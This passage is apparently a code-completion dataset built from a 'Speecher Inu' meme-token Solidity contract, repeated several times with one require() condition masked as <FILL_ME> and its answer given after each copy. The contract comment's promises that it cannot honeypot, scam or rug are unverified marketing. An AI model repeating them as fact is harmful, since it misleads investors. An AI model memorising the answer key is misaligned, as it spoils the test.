_launchTime = 0; uint256 private _launchBlock = 0; uint256 private _botBlocks = 1; uint256 private _botSeconds = 10; uint256 public totalBots = 0; // Reentrancy bool private _isSwapLocked = false; modifier lockSwap { } constructor(address treasuryWallet_, address ecosystemWallet_) payable ERC20("Speecher Inu", "SPEECHER") { } function speak(uint256 botBlocks_, uint256 botSeconds_, uint256 maxTxAmount_, uint256 maxWalletAmount_, address[] memory botAddresses_) external onlyOwner { } function setTreasuryWallet(address treasuryWallet_) public onlyOwner { } function setEcosystemWallet(address ecosystemWallet_) public onlyOwner { } function disableLimits() external onlyOwner { } function disableTransferDelay() external onlyOwner { } function setMaxTxAmount(uint256 maxTxAmount_) public onlyOwner { } function setMaxWalletAmount(uint256 maxWalletAmount_) public onlyOwner { require(<FILL_ME>) _maxWalletAmount = maxWalletAmount_ * 1e18; } function setSwapTokensAmount(uint256 swapTokensAmount_) public { } function excludeFromFees(address excludeAddress_, bool isExcluded_) public onlyOwner { } function isExcludedFromFees(address excludeAddress_) public view returns (bool) { } function excludeFromMaxTx(address excludeAddress_, bool isExcluded_) public onlyOwner { } function isExcludedFromMaxTx(address excludeAddress_) public view returns (bool) { } function setAntiBotEnabled(bool antiBotEnabled_) external { } function setBots(address[] memory botAddresses_, bool isBlacklisting_) public { } function isBot(address botAddress_) public view returns (bool) { } function forceSwap(uint256 tokensAmount_) external { } function withdrawCurrency() external onlyOwner { } function _transfer(address from, address to, uint256 amount) internal override { } function _swapLiquify(uint256 tokensAmount) private lockSwap { } function _swapTokensForCurrency(uint256 tokensAmount) private { } function _addLiquidity(uint256 tokensAmount, uint256 currencyAmount) private { } receive() external payable {} }
maxWalletAmount_>=((totalSupply()/100)/1e18),"Token: max wallet amount cannot be below 1%"
196,290
maxWalletAmount_>=((totalSupply()/100)/1e18)
"Token: caller is not authorised"
// SPDX-License-Identifier: MIT /** * SPEECHER Inu * ================================================== * * "Ultimately, saying that you don't care about privacy because you have nothing to hide is no * different from saying you don't care about freedom of speech because you have nothing to say" * - Edward Snowden, Permanent Record * * SPEECHER celebrates the forthcoming victory for freedom of speech plus the spirit of decentralization * and community through releasing a safe, lower trade tax token whose Treasury funds are spent according * to community suggestions received via tweet replies. * * SPEECHER is entirely run from that digital town called Twitter. Once there, to say hi, hit Reply. * * However, if anyone wishes to create a SPEECHER Telegram group, simply send us the link via Twitter and * we'll gladly announce its existence. * * Twitter: https://twitter.com/_SPEECHER * * Elon's latest tweet, which couldn't be finer: https://twitter.com/elonmusk/status/1519036983137509376 * * Tokenomics * ================================================== * * With No.8 symbolising infinite perfection, SPEECHER's tokenomics came to pass: * * BUY & SELL * * Treasury: 3% * Auto Liquidity: 1% * Ecosystem: 4% * * Total Per Swap: 8% * * Trade Settings * ================================================== * * Max Transaction: 750000 / 0.75% * Max Wallet: 1000000 / 1% * * Limits shall be lifted shortly after launch. * * Wallet to wallet transfers are not subject to tax. * * Security & Transparency * ================================================== * * This contract was built with safety in mind: * * The contract is renounced soon after launch but any contract configuration settings accessible before * were built to be safe too; liquidity is locked for two weeks then soon extended; the trade tax cannot * be altered (hardcoded); the Max Transaction cannot be lowered, only increased; the Max Wallet cannot * be lowered, only increased; bots/addresses cannot be blacklisted 10 minutes past launch, plus only * non-critical addresses can be blacklisted; no team tokens or preloaded wallets aka a fair launch. * * In short, there is no technical way to honeypot or scam, and no possibility to rug once liquidity is * locked. But don't trust our words alone, seek outside opinions to verify and reassure. * * For complete separation of concerns and full transparency, the Treasury and Ecosystem funds have * their own separate wallets, which are: * * Treasury: 0x0182ec9758175F72b70546213321E6111470Dc5f * Ecosystem: 0x034e690237b5ce205EcA4a4e40A3a2a76587aA2D * * The Twitter community decide how Treasury funds are spent e.g. donations to good causes. * * Ecosystem funds are allocated to any marketing and team payments. * * Let the good times tweet. */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address to, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function _transfer(address from, address to, uint256 amount) internal virtual { } function _mint(address account, uint256 amount) internal virtual { } function _burn(address account, uint256 amount) internal virtual { } function _approve(address owner, address spender, uint256 amount) internal virtual { } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function _transferOwnership(address newOwner) internal virtual { } } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDexRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract SpeecherInu is Context, ERC20, Ownable { // DEX IDexRouter public dexRouter; address public dexPair; // Wallets address public treasuryWallet; address public ecosystemWallet; // Trade settings bool public swapEnabled = false; bool public limitsEnabled = false; bool private _tradingEnabled = false; bool public transferDelayEnabled = true; uint256 private _transferDelayBlocks = 2; mapping(address => uint256) private _lastTransferBlock; uint256 private _maxTxAmount; uint256 private _maxWalletAmount; uint256 public swapTokensAmount; // Trade tax uint256 public buyTreasuryFee = 3; uint256 public buyLiquidityFee = 1; uint256 public buyEcosystemFee = 4; uint256 public buyTotalFees = buyTreasuryFee + buyLiquidityFee + buyEcosystemFee; uint256 public sellTreasuryFee = 3; uint256 public sellLiquidityFee = 1; uint256 public sellEcosystemFee = 4; uint256 public sellTotalFees = sellTreasuryFee + sellLiquidityFee + sellEcosystemFee; uint256 private _tokensForTreasury = 0; uint256 private _tokensForLiquidity = 0; uint256 private _tokensForEcosystem = 0; // Fees and max TX exclusions mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedFromMaxTx; // Anti-bot bool public antiBotEnabled = true; mapping(address => bool) private _bots; uint256 private _launchTime = 0; uint256 private _launchBlock = 0; uint256 private _botBlocks = 1; uint256 private _botSeconds = 10; uint256 public totalBots = 0; // Reentrancy bool private _isSwapLocked = false; modifier lockSwap { } constructor(address treasuryWallet_, address ecosystemWallet_) payable ERC20("Speecher Inu", "SPEECHER") { } function speak(uint256 botBlocks_, uint256 botSeconds_, uint256 maxTxAmount_, uint256 maxWalletAmount_, address[] memory botAddresses_) external onlyOwner { } function setTreasuryWallet(address treasuryWallet_) public onlyOwner { } function setEcosystemWallet(address ecosystemWallet_) public onlyOwner { } function disableLimits() external onlyOwner { } function disableTransferDelay() external onlyOwner { } function setMaxTxAmount(uint256 maxTxAmount_) public onlyOwner { } function setMaxWalletAmount(uint256 maxWalletAmount_) public onlyOwner { } function setSwapTokensAmount(uint256 swapTokensAmount_) public { require(<FILL_ME>) require(swapTokensAmount_ >= (((totalSupply() * 5) / 100000) / 1e18), "Token: swap tokens amount cannot be below 0.005%"); require(swapTokensAmount_ <= ((totalSupply() / 1000) / 1e18), "Token: swap tokens amount cannot be above 0.1%"); swapTokensAmount = swapTokensAmount_ * 1e18; } function excludeFromFees(address excludeAddress_, bool isExcluded_) public onlyOwner { } function isExcludedFromFees(address excludeAddress_) public view returns (bool) { } function excludeFromMaxTx(address excludeAddress_, bool isExcluded_) public onlyOwner { } function isExcludedFromMaxTx(address excludeAddress_) public view returns (bool) { } function setAntiBotEnabled(bool antiBotEnabled_) external { } function setBots(address[] memory botAddresses_, bool isBlacklisting_) public { } function isBot(address botAddress_) public view returns (bool) { } function forceSwap(uint256 tokensAmount_) external { } function withdrawCurrency() external onlyOwner { } function _transfer(address from, address to, uint256 amount) internal override { } function _swapLiquify(uint256 tokensAmount) private lockSwap { } function _swapTokensForCurrency(uint256 tokensAmount) private { } function _addLiquidity(uint256 tokensAmount, uint256 currencyAmount) private { } receive() external payable {} }
_msgSender()==owner()||_msgSender()==ecosystemWallet,"Token: caller is not authorised"
196,290
_msgSender()==owner()||_msgSender()==ecosystemWallet
"Token: swap tokens amount cannot be below 0.005%"
// SPDX-License-Identifier: MIT /** * SPEECHER Inu * ================================================== * * "Ultimately, saying that you don't care about privacy because you have nothing to hide is no * different from saying you don't care about freedom of speech because you have nothing to say" * - Edward Snowden, Permanent Record * * SPEECHER celebrates the forthcoming victory for freedom of speech plus the spirit of decentralization * and community through releasing a safe, lower trade tax token whose Treasury funds are spent according * to community suggestions received via tweet replies. * * SPEECHER is entirely run from that digital town called Twitter. Once there, to say hi, hit Reply. * * However, if anyone wishes to create a SPEECHER Telegram group, simply send us the link via Twitter and * we'll gladly announce its existence. * * Twitter: https://twitter.com/_SPEECHER * * Elon's latest tweet, which couldn't be finer: https://twitter.com/elonmusk/status/1519036983137509376 * * Tokenomics * ================================================== * * With No.8 symbolising infinite perfection, SPEECHER's tokenomics came to pass: * * BUY & SELL * * Treasury: 3% * Auto Liquidity: 1% * Ecosystem: 4% * * Total Per Swap: 8% * * Trade Settings * ================================================== * * Max Transaction: 750000 / 0.75% * Max Wallet: 1000000 / 1% * * Limits shall be lifted shortly after launch. * * Wallet to wallet transfers are not subject to tax. * * Security & Transparency * ================================================== * * This contract was built with safety in mind: * * The contract is renounced soon after launch but any contract configuration settings accessible before * were built to be safe too; liquidity is locked for two weeks then soon extended; the trade tax cannot * be altered (hardcoded); the Max Transaction cannot be lowered, only increased; the Max Wallet cannot * be lowered, only increased; bots/addresses cannot be blacklisted 10 minutes past launch, plus only * non-critical addresses can be blacklisted; no team tokens or preloaded wallets aka a fair launch. * * In short, there is no technical way to honeypot or scam, and no possibility to rug once liquidity is * locked. But don't trust our words alone, seek outside opinions to verify and reassure. * * For complete separation of concerns and full transparency, the Treasury and Ecosystem funds have * their own separate wallets, which are: * * Treasury: 0x0182ec9758175F72b70546213321E6111470Dc5f * Ecosystem: 0x034e690237b5ce205EcA4a4e40A3a2a76587aA2D * * The Twitter community decide how Treasury funds are spent e.g. donations to good causes. * * Ecosystem funds are allocated to any marketing and team payments. * * Let the good times tweet. */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address to, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function _transfer(address from, address to, uint256 amount) internal virtual { } function _mint(address account, uint256 amount) internal virtual { } function _burn(address account, uint256 amount) internal virtual { } function _approve(address owner, address spender, uint256 amount) internal virtual { } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function _transferOwnership(address newOwner) internal virtual { } } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDexRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract SpeecherInu is Context, ERC20, Ownable { // DEX IDexRouter public dexRouter; address public dexPair; // Wallets address public treasuryWallet; address public ecosystemWallet; // Trade settings bool public swapEnabled = false; bool public limitsEnabled = false; bool private _tradingEnabled = false; bool public transferDelayEnabled = true; uint256 private _transferDelayBlocks = 2; mapping(address => uint256) private _lastTransferBlock; uint256 private _maxTxAmount; uint256 private _maxWalletAmount; uint256 public swapTokensAmount; // Trade tax uint256 public buyTreasuryFee = 3; uint256 public buyLiquidityFee = 1; uint256 public buyEcosystemFee = 4; uint256 public buyTotalFees = buyTreasuryFee + buyLiquidityFee + buyEcosystemFee; uint256 public sellTreasuryFee = 3; uint256 public sellLiquidityFee = 1; uint256 public sellEcosystemFee = 4; uint256 public sellTotalFees = sellTreasuryFee + sellLiquidityFee + sellEcosystemFee; uint256 private _tokensForTreasury = 0; uint256 private _tokensForLiquidity = 0; uint256 private _tokensForEcosystem = 0; // Fees and max TX exclusions mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedFromMaxTx; // Anti-bot bool public antiBotEnabled = true; mapping(address => bool) private _bots; uint256 private _launchTime = 0; uint256 private _launchBlock = 0; uint256 private _botBlocks = 1; uint256 private _botSeconds = 10; uint256 public totalBots = 0; // Reentrancy bool private _isSwapLocked = false; modifier lockSwap { } constructor(address treasuryWallet_, address ecosystemWallet_) payable ERC20("Speecher Inu", "SPEECHER") { } function speak(uint256 botBlocks_, uint256 botSeconds_, uint256 maxTxAmount_, uint256 maxWalletAmount_, address[] memory botAddresses_) external onlyOwner { } function setTreasuryWallet(address treasuryWallet_) public onlyOwner { } function setEcosystemWallet(address ecosystemWallet_) public onlyOwner { } function disableLimits() external onlyOwner { } function disableTransferDelay() external onlyOwner { } function setMaxTxAmount(uint256 maxTxAmount_) public onlyOwner { } function setMaxWalletAmount(uint256 maxWalletAmount_) public onlyOwner { } function setSwapTokensAmount(uint256 swapTokensAmount_) public { require(_msgSender() == owner() || _msgSender() == ecosystemWallet, "Token: caller is not authorised"); require(<FILL_ME>) require(swapTokensAmount_ <= ((totalSupply() / 1000) / 1e18), "Token: swap tokens amount cannot be above 0.1%"); swapTokensAmount = swapTokensAmount_ * 1e18; } function excludeFromFees(address excludeAddress_, bool isExcluded_) public onlyOwner { } function isExcludedFromFees(address excludeAddress_) public view returns (bool) { } function excludeFromMaxTx(address excludeAddress_, bool isExcluded_) public onlyOwner { } function isExcludedFromMaxTx(address excludeAddress_) public view returns (bool) { } function setAntiBotEnabled(bool antiBotEnabled_) external { } function setBots(address[] memory botAddresses_, bool isBlacklisting_) public { } function isBot(address botAddress_) public view returns (bool) { } function forceSwap(uint256 tokensAmount_) external { } function withdrawCurrency() external onlyOwner { } function _transfer(address from, address to, uint256 amount) internal override { } function _swapLiquify(uint256 tokensAmount) private lockSwap { } function _swapTokensForCurrency(uint256 tokensAmount) private { } function _addLiquidity(uint256 tokensAmount, uint256 currencyAmount) private { } receive() external payable {} }
swapTokensAmount_>=(((totalSupply()*5)/100000)/1e18),"Token: swap tokens amount cannot be below 0.005%"
196,290
swapTokensAmount_>=(((totalSupply()*5)/100000)/1e18)
"Token: swap tokens amount cannot be above 0.1%"
// SPDX-License-Identifier: MIT /** * SPEECHER Inu * ================================================== * * "Ultimately, saying that you don't care about privacy because you have nothing to hide is no * different from saying you don't care about freedom of speech because you have nothing to say" * - Edward Snowden, Permanent Record * * SPEECHER celebrates the forthcoming victory for freedom of speech plus the spirit of decentralization * and community through releasing a safe, lower trade tax token whose Treasury funds are spent according * to community suggestions received via tweet replies. * * SPEECHER is entirely run from that digital town called Twitter. Once there, to say hi, hit Reply. * * However, if anyone wishes to create a SPEECHER Telegram group, simply send us the link via Twitter and * we'll gladly announce its existence. * * Twitter: https://twitter.com/_SPEECHER * * Elon's latest tweet, which couldn't be finer: https://twitter.com/elonmusk/status/1519036983137509376 * * Tokenomics * ================================================== * * With No.8 symbolising infinite perfection, SPEECHER's tokenomics came to pass: * * BUY & SELL * * Treasury: 3% * Auto Liquidity: 1% * Ecosystem: 4% * * Total Per Swap: 8% * * Trade Settings * ================================================== * * Max Transaction: 750000 / 0.75% * Max Wallet: 1000000 / 1% * * Limits shall be lifted shortly after launch. * * Wallet to wallet transfers are not subject to tax. * * Security & Transparency * ================================================== * * This contract was built with safety in mind: * * The contract is renounced soon after launch but any contract configuration settings accessible before * were built to be safe too; liquidity is locked for two weeks then soon extended; the trade tax cannot * be altered (hardcoded); the Max Transaction cannot be lowered, only increased; the Max Wallet cannot * be lowered, only increased; bots/addresses cannot be blacklisted 10 minutes past launch, plus only * non-critical addresses can be blacklisted; no team tokens or preloaded wallets aka a fair launch. * * In short, there is no technical way to honeypot or scam, and no possibility to rug once liquidity is * locked. But don't trust our words alone, seek outside opinions to verify and reassure. * * For complete separation of concerns and full transparency, the Treasury and Ecosystem funds have * their own separate wallets, which are: * * Treasury: 0x0182ec9758175F72b70546213321E6111470Dc5f * Ecosystem: 0x034e690237b5ce205EcA4a4e40A3a2a76587aA2D * * The Twitter community decide how Treasury funds are spent e.g. donations to good causes. * * Ecosystem funds are allocated to any marketing and team payments. * * Let the good times tweet. */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address to, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function _transfer(address from, address to, uint256 amount) internal virtual { } function _mint(address account, uint256 amount) internal virtual { } function _burn(address account, uint256 amount) internal virtual { } function _approve(address owner, address spender, uint256 amount) internal virtual { } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function _transferOwnership(address newOwner) internal virtual { } } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDexRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract SpeecherInu is Context, ERC20, Ownable { // DEX IDexRouter public dexRouter; address public dexPair; // Wallets address public treasuryWallet; address public ecosystemWallet; // Trade settings bool public swapEnabled = false; bool public limitsEnabled = false; bool private _tradingEnabled = false; bool public transferDelayEnabled = true; uint256 private _transferDelayBlocks = 2; mapping(address => uint256) private _lastTransferBlock; uint256 private _maxTxAmount; uint256 private _maxWalletAmount; uint256 public swapTokensAmount; // Trade tax uint256 public buyTreasuryFee = 3; uint256 public buyLiquidityFee = 1; uint256 public buyEcosystemFee = 4; uint256 public buyTotalFees = buyTreasuryFee + buyLiquidityFee + buyEcosystemFee; uint256 public sellTreasuryFee = 3; uint256 public sellLiquidityFee = 1; uint256 public sellEcosystemFee = 4; uint256 public sellTotalFees = sellTreasuryFee + sellLiquidityFee + sellEcosystemFee; uint256 private _tokensForTreasury = 0; uint256 private _tokensForLiquidity = 0; uint256 private _tokensForEcosystem = 0; // Fees and max TX exclusions mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedFromMaxTx; // Anti-bot bool public antiBotEnabled = true; mapping(address => bool) private _bots; uint256 private _launchTime = 0; uint256 private _launchBlock = 0; uint256 private _botBlocks = 1; uint256 private _botSeconds = 10; uint256 public totalBots = 0; // Reentrancy bool private _isSwapLocked = false; modifier lockSwap { } constructor(address treasuryWallet_, address ecosystemWallet_) payable ERC20("Speecher Inu", "SPEECHER") { } function speak(uint256 botBlocks_, uint256 botSeconds_, uint256 maxTxAmount_, uint256 maxWalletAmount_, address[] memory botAddresses_) external onlyOwner { } function setTreasuryWallet(address treasuryWallet_) public onlyOwner { } function setEcosystemWallet(address ecosystemWallet_) public onlyOwner { } function disableLimits() external onlyOwner { } function disableTransferDelay() external onlyOwner { } function setMaxTxAmount(uint256 maxTxAmount_) public onlyOwner { } function setMaxWalletAmount(uint256 maxWalletAmount_) public onlyOwner { } function setSwapTokensAmount(uint256 swapTokensAmount_) public { require(_msgSender() == owner() || _msgSender() == ecosystemWallet, "Token: caller is not authorised"); require(swapTokensAmount_ >= (((totalSupply() * 5) / 100000) / 1e18), "Token: swap tokens amount cannot be below 0.005%"); require(<FILL_ME>) swapTokensAmount = swapTokensAmount_ * 1e18; } function excludeFromFees(address excludeAddress_, bool isExcluded_) public onlyOwner { } function isExcludedFromFees(address excludeAddress_) public view returns (bool) { } function excludeFromMaxTx(address excludeAddress_, bool isExcluded_) public onlyOwner { } function isExcludedFromMaxTx(address excludeAddress_) public view returns (bool) { } function setAntiBotEnabled(bool antiBotEnabled_) external { } function setBots(address[] memory botAddresses_, bool isBlacklisting_) public { } function isBot(address botAddress_) public view returns (bool) { } function forceSwap(uint256 tokensAmount_) external { } function withdrawCurrency() external onlyOwner { } function _transfer(address from, address to, uint256 amount) internal override { } function _swapLiquify(uint256 tokensAmount) private lockSwap { } function _swapTokensForCurrency(uint256 tokensAmount) private { } function _addLiquidity(uint256 tokensAmount, uint256 currencyAmount) private { } receive() external payable {} }
swapTokensAmount_<=((totalSupply()/1000)/1e18),"Token: swap tokens amount cannot be above 0.1%"
196,290
swapTokensAmount_<=((totalSupply()/1000)/1e18)
"Token: bots can only be blacklisted within the first 10 minutes from launch"
// SPDX-License-Identifier: MIT /** * SPEECHER Inu * ================================================== * * "Ultimately, saying that you don't care about privacy because you have nothing to hide is no * different from saying you don't care about freedom of speech because you have nothing to say" * - Edward Snowden, Permanent Record * * SPEECHER celebrates the forthcoming victory for freedom of speech plus the spirit of decentralization * and community through releasing a safe, lower trade tax token whose Treasury funds are spent according * to community suggestions received via tweet replies. * * SPEECHER is entirely run from that digital town called Twitter. Once there, to say hi, hit Reply. * * However, if anyone wishes to create a SPEECHER Telegram group, simply send us the link via Twitter and * we'll gladly announce its existence. * * Twitter: https://twitter.com/_SPEECHER * * Elon's latest tweet, which couldn't be finer: https://twitter.com/elonmusk/status/1519036983137509376 * * Tokenomics * ================================================== * * With No.8 symbolising infinite perfection, SPEECHER's tokenomics came to pass: * * BUY & SELL * * Treasury: 3% * Auto Liquidity: 1% * Ecosystem: 4% * * Total Per Swap: 8% * * Trade Settings * ================================================== * * Max Transaction: 750000 / 0.75% * Max Wallet: 1000000 / 1% * * Limits shall be lifted shortly after launch. * * Wallet to wallet transfers are not subject to tax. * * Security & Transparency * ================================================== * * This contract was built with safety in mind: * * The contract is renounced soon after launch but any contract configuration settings accessible before * were built to be safe too; liquidity is locked for two weeks then soon extended; the trade tax cannot * be altered (hardcoded); the Max Transaction cannot be lowered, only increased; the Max Wallet cannot * be lowered, only increased; bots/addresses cannot be blacklisted 10 minutes past launch, plus only * non-critical addresses can be blacklisted; no team tokens or preloaded wallets aka a fair launch. * * In short, there is no technical way to honeypot or scam, and no possibility to rug once liquidity is * locked. But don't trust our words alone, seek outside opinions to verify and reassure. * * For complete separation of concerns and full transparency, the Treasury and Ecosystem funds have * their own separate wallets, which are: * * Treasury: 0x0182ec9758175F72b70546213321E6111470Dc5f * Ecosystem: 0x034e690237b5ce205EcA4a4e40A3a2a76587aA2D * * The Twitter community decide how Treasury funds are spent e.g. donations to good causes. * * Ecosystem funds are allocated to any marketing and team payments. * * Let the good times tweet. */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address to, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function _transfer(address from, address to, uint256 amount) internal virtual { } function _mint(address account, uint256 amount) internal virtual { } function _burn(address account, uint256 amount) internal virtual { } function _approve(address owner, address spender, uint256 amount) internal virtual { } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function _transferOwnership(address newOwner) internal virtual { } } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDexRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract SpeecherInu is Context, ERC20, Ownable { // DEX IDexRouter public dexRouter; address public dexPair; // Wallets address public treasuryWallet; address public ecosystemWallet; // Trade settings bool public swapEnabled = false; bool public limitsEnabled = false; bool private _tradingEnabled = false; bool public transferDelayEnabled = true; uint256 private _transferDelayBlocks = 2; mapping(address => uint256) private _lastTransferBlock; uint256 private _maxTxAmount; uint256 private _maxWalletAmount; uint256 public swapTokensAmount; // Trade tax uint256 public buyTreasuryFee = 3; uint256 public buyLiquidityFee = 1; uint256 public buyEcosystemFee = 4; uint256 public buyTotalFees = buyTreasuryFee + buyLiquidityFee + buyEcosystemFee; uint256 public sellTreasuryFee = 3; uint256 public sellLiquidityFee = 1; uint256 public sellEcosystemFee = 4; uint256 public sellTotalFees = sellTreasuryFee + sellLiquidityFee + sellEcosystemFee; uint256 private _tokensForTreasury = 0; uint256 private _tokensForLiquidity = 0; uint256 private _tokensForEcosystem = 0; // Fees and max TX exclusions mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedFromMaxTx; // Anti-bot bool public antiBotEnabled = true; mapping(address => bool) private _bots; uint256 